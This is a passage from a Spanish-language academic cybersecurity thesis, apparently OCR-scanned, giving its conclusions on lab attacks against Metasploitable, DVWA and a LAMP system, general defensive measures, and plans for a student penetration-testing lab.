PHP desde la interfaz de la pagina web. En general, esto es muy peligroso, por lo que es
recomendable tener especial precaucion con estas funcionalidades y restringir el acceso a
ellas ya que, en este ejercicio hemos tirado abajo un sistema entero por este problema.
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Capitulo 6.

Conclusiones y lineas futuras

Hemos visto a lo largo del estudio como un atacante es capaz de vulnerar la integridad de
diferentes maquinas virtuales a través de sus puertos o fallos en los sistemas. Vemos como
de esta forma se pone en riesgo la integridad de los datos de los usuarios en un servidor.

En el caso de Mestasploitable se puede realizar un ataque al sistema debido a los fallos
de seguridad que este posee. Estos fallos se suelen producir debido a una no actualizacién
del sistema, fallo del antivirus, spam o descargas no fiables. Metasploitable presenta una
gran cantidad de puertos abiertos, y tal como se ha visto, gracias a una aplicacion de Kali
Linux (Framework Metasploit) no requiere mucha dificultad tener un control total sobre
la maquina atacada.

Con DVWA se ha visto la importancia que tiene el programador de webs, ya sea en PHP
0 HTML, de crear un codigo eficiente, pero también seguro. Por medio de diferentes
niveles de seguridad se puede aprender aciertos y fallos en la programacion de una
aplicacion web, para que, de esta manera, un atacante no pueda violar la defensa del
sistema. Es importante, tal y como se ha visto, filtrar lo maximo posible la informacion
que se pide en los formularios de acceso, asi como asegurar el codigo PHP o HTML.

Por ultimo, se ha vito otro entorno tipico muy conocido en el mundo informatico, un
sistema LAMP, con el cual se ha hecho un registro de un usuario nuevo y a través de
ciertas herramientas hemos conseguido hackear otra cuenta donde el atacante se ha hecho
pasar por otro usuario, disponiendo de un total acceso de la web con este nuevo usuario,
asi como de sus datos.

En lineas generales, podemos decir que, aungue no exista un sistema informatico que este
libre de ser atacado, el objetivo de un experto en ciberseguridad es la de conseguir un
sistema con la maxima dificultad de penetracion posible. Para ello, existen dos tipos de
medidas, las activas y las pasivas. Dentro del primer grupo se encuentran medidas como
actualizar el servicio constantemente, estar a las ultima en cuanto a los nuevos servicios
de seguridad, configurar bien todos los medios de seguridad disponibles, como firewalls,
etc. Las medidas activas dependen del usuario, no abrir correos spam, no meterse en
paginas fraudulentas ni descargarse archivos que provengan de estas paginas.

En cuanto al futuro de este proyecto, tal y como se ha comentado en el punto 1 —
Introduccidn, es la primera fase para la elaboracion de un grupo de trabajo practico con
el fin del estudio de la ciberseguridad. Este documento, por tanto, esta creado para que
los estudiantes puedan aventurarse en el gran mundo que supone la ciberseguridad,
pudiendo comenzar con practica guiada en diferentes entornos informaticos.

Ademas de este estudio, los objetivos del proyecto abarcan las siguientes tareas:
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e Construccion de una infraestructura red en un laboratorio consistente en
routers, switches, host, firewall y su correspondiente configuracion.

e Instalacion de diferentes software para emular una red real incluyendo
sistemas operativos (Windows, Linux, mac...), servidores (host, http, ftp,
samba...), etc.

e Testeo de los diferentes ataques vistos en este presente trabajo sobre la red
(DoS, SQL injection, XSS...)

e Como tarea extra, esta practica se puede centrar en el desarrollo de una
aplicacion web (posiblemente openstack o similar) para el departamento
con el fin de manipular los diferentes usos de las pruebas de penetracién
del laboratorio. Por ejemplo, resetear todas las configuraciones, clases
reservadas, etc.

En lugar de solo tener una maquina virtual, el plan es tener la capacidad de construir
varias imagenes vulnerables, y crear una red de ellas. Esto permite a la audiencia tener la
oportunidad de practicar méas técnicas de post-explotacion, pivoting, y irrumpir en el
siguiente objetivo.
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